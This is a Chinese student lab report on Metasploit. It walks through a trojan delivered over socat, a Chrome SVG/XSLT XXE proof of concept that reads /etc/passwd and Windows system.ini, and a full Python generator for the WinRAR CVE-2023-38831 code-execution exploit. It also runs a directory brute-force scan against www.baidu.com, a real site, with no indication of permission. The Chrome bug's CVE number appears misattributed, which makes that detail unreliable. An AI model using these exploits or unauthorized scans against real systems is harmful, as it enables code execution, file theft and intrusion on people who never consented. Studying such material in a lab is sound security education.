实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
首先生成木马文件,通过socat传输到windows主机上:
windows主机接收文件到火绒信任区,避免误杀:
之后,在windows中运行该木马程序,返回Ubuntu,通过Ubuntu快速安装MSF - tomyyyyy - 博客园 (cnblogs.com)教程安装msfconsole,并连接木马
一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
最新Chrome文件读取XXE漏洞复现
漏洞CVE-2023-2033,要求Google Chrome < 116.0.5845.96
创建2.svg
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject id="xxx" width="1000" height="1000">
<div xmlns="http://www.w3.org/1999/xhtml">
XSL-Version: <xsl:value-of select="system-property('xsl:version')"/><br/>
document() <xsl:copy-of select="document('3.xsl')"/>
</div>
</foreignObject>
</svg>
</xsl:template>
</xsl:stylesheet>
创建3.xsl
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<div>
<p>host: &hosts;</p>
<p>passwd: &passwd;</p>
<p>sysini: &sysini;</p>
</div>
用python开一个服务器python -m http.server 1234
访问http://localhost:1234/2.svg
一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
最新WinRAR漏洞复现
漏洞编号CVE-2023-38831,WinRAR版本小于6.23
- 创建1.txt:
echo ''> 1.txt
- 创建名为
1.txt
的文件夹,mkdir 1.txt
- 进入
1.txt
文件夹,创建1.txt .bat
,写入cmd命令:cd 1.txt && echo 'calc' > 1.txt .bat
- 将
1.txt
文件和1.txt
文件夹用rar压缩,得到可以命令执行的rar
触发漏洞:
点开rar压缩包,再双击1.txt
文件
calc
代码执行成功,计算器被打开
可以使用Python脚本来完成,在同级创建1.txt
和1.bat
,在1.bat
中写入calc
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "1.txt"
SCRIPT_NAME = "1.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\cve-2023-38831-exp-gen.py poc
python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
成功应用任何一个辅助模块。(1分)
指令如下
msfconsole
use auxiliary/scanner/http/brute_dirs
set THREADS 10
set RHOSTS www.baidu.com
exploit
扫描百度网站内容如下:
发现了如下路径
http://www.baidu.com:80/p/
http://www.baidu.com:80/v/
http://www.baidu.com:80/bh/
基础问题回答 (1分)
用自己的话解释什么是exploit,payload,encode.
-
Exploit (漏洞利用): 这是指利用软件或系统的安全漏洞来执行未授权的操作。想象一下,你有一个保险箱,正常情况下需要正确的密码才能打开。但如果保险箱的设计有一个小缺陷,比如通过某个特殊的动作可以绕过密码锁,那么这个动作就可以被称为一个exploit。
-
Payload (有效载荷): 这是exploit的一部分,指的是通过exploit执行的代码或命令。继续上面的例子,如果你利用保险箱的缺陷打开了它,那么你可能会放入或取出一些物品,这些物品就是payload。在计算机安全领域,payload通常是恶意代码,比如病毒或木马,它们会在目标系统上执行。
-
Encode (编码): 编码是将数据转换成另一种格式的过程,通常是为了让数据在传输或存储时更加安全、高效或符合某种标准。在安全领域,编码payload意味着将恶意代码转换成一种格式,使其能够通过安全检测,或者在特定的环境中执行。比如,将文本转换为二进制数据,或者将可执行文件转换成看似无害的数据字符串。
实践总结与体会 (1分)
本次实验是第2次和第5次实验的总结,实验内容有很多相似之处,但是有略有不同。复现最新漏洞这块有一定难度,好在最近Chrome和WinRAR都暴露了漏洞,并且易于复现。
离实战还缺些什么技术或步骤?
还缺少Payload,在之前的学习中,我们已经有了很多漏洞扫描的技术,但是距离真正实战还是有一段距离。这就是设法构造Payload,打进系统内部,扰乱系统正常工作秩序。